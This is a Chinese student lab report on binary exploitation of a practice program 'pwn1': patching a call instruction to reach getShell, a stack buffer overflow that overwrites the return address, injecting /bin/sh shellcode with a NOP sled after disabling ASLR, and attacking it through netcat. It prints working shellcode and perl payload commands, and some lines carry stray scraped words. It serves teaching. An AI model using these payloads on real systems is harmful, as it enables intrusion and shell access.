NF_Exp1_20164306

PC平臺逆向破解

1 關鍵內容

NOP, JNE, JE, JMP, CMP彙編指令的機器碼shell

反彙編與十六進制編程器編程

正確修改機器指令改變程序執行流程安全

正確構造payload進行bof攻擊網絡

2 直接修改程序機器指令,改變程序執行流程

對/Desktop/20164306目錄中的pwn1進行反彙編併發

  objdump -d Desktop/20164306/pwn1

main 函數在 80484b5 處調用 8048491 的 foo 函數frontend

對應機器指令爲 e8d7ffffff ,其中 e8 爲跳轉,d7ffffff爲補碼,0xd7 → 1101 0111 → 0010 1001 → 0x29dom

0xb5 + 0x05 = 0xba編輯器

0xba - 0x29 = 0x91函數

getShell 函數位於 804847d學習

0x7d - 0xba = -0x3d 轉換成補碼爲 0xc3

解鎖、安裝並運行十六進制編輯器

  sudo rm /var/lib/dpkg/lock-frontend
  sudo apt-get install wxhexeditor
  wxHexEditor

 將對應位置的 d7 修改成 c3 ,再次反彙編確認結果

3 經過構造輸入參數,形成BOF攻擊,改變程序執行流

 使用先前備份的pwn2進行實驗

  cd Desktop/20164306/
  cp
pwn1 pwn2

 main 函數調用 foo 函數,foo 函數中存在 Buffer overflow 漏洞

讀入字符串時,系統僅預留了 0x1c 即 28 個字節的緩衝區

可以經過覆蓋返回地址 80484ba 實現攻擊

嘗試輸入字符串並判斷具體是哪些字符會覆蓋到返回地址

以八位爲一組構造字符串進行調試

  chmod 777 pwn2
  gdb pwn2
  r
  1111111122222222333333334444444455555555
  info r

發生了段錯誤,且根據 eip 數值,發現從數字 5(ASCII 碼值 53 = 0x35)開始溢出,因此第 33 至第 40 個字符中的某些字符將覆蓋返回地址 

再次構造字符串

  1111111122222222333333334444444412345678

根據 eip 數值,肯定 1234 將會覆蓋返回地址

爲使返回地址指向 0804847d 處的 getShell 函數,須要構造如下字符串

  11111111222222223333333344444444\x7d\x84\x04\x08

使用 perl 輸出上述字符串,以轉換其中的 16 進制數,輸出重定向至文件 4306 中

  perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 4306

查看輸出

確認無誤後,查看文件並經過管道將查看結果送入 pwn2 中運行

  (cat 4306; cat) | ./pwn2

輸入回車,完成字符串輸入,然後輸入 ls 命令,可以獲取當前文件目錄,攻擊成功

4 注入Shellcode並執行

如下 shellcode 將被用於攻擊

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

實驗前須要設置堆棧可執行並開啓地址隨機化

    execstack -s pwn2
    echo "0" > /proc/sys/kernel/randomize_va_space

鏈接對應進程,分析並尋找 shellcode 首地址所在區間

構造並注入 payload ,其中返回地址爲 0xfff841e1 ← 落在 nop 區間內的一個地址

(perl -e 'print "A" x 32;print "\xe1\x41\xf8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./pwn2

 驗證攻擊結果

 

若是不關閉地址隨機化,每次運行 pwn2 產生新的進程會分配新的緩衝區地址,除非 nop 夠大不然不可能成功

5 我打我本身(nc)

查看主機ip

  ifconfig

模擬一個有漏洞的網絡服務

  nc -l 192.168.176.130 -p 4306 -e ./pwn2

打開新的終端,鏈接主機併發起攻擊

  (cat 4306; cat) | nc 192.168.176.130 4306

驗證攻擊結果

靶機終端提示「段錯誤」,攻擊者完成入侵

6 總結與感悟

經過實驗學習了機器指令運行的基本流程,瞭解了 Bof 攻擊的基本原理

經過模擬三種不一樣情境下的攻擊方式,全面認識到 Bof 攻擊的危害,同時也思考了針對該類攻擊的防護辦法

(一)在編寫程序時重視邊界控制,設計針對非法輸入的處理流程

(二)部分 CPU 運行時數據段和代碼段的線性地址重疊,可以提供硬件級別的保護

(三)關閉堆棧可執行,開啓內存隨機化,修復系統漏洞,預防惡意程序入侵

但安全與方便老是相對立而存在的,繁瑣的安全策略必然會下降系統的運行效率

所以咱們在預防攻擊的同時須要注意上述兩者之間的平衡,經過實驗不斷學習,不斷探索更高效的預防策略

本站公眾號
   歡迎關注本站公眾號,獲取更多信息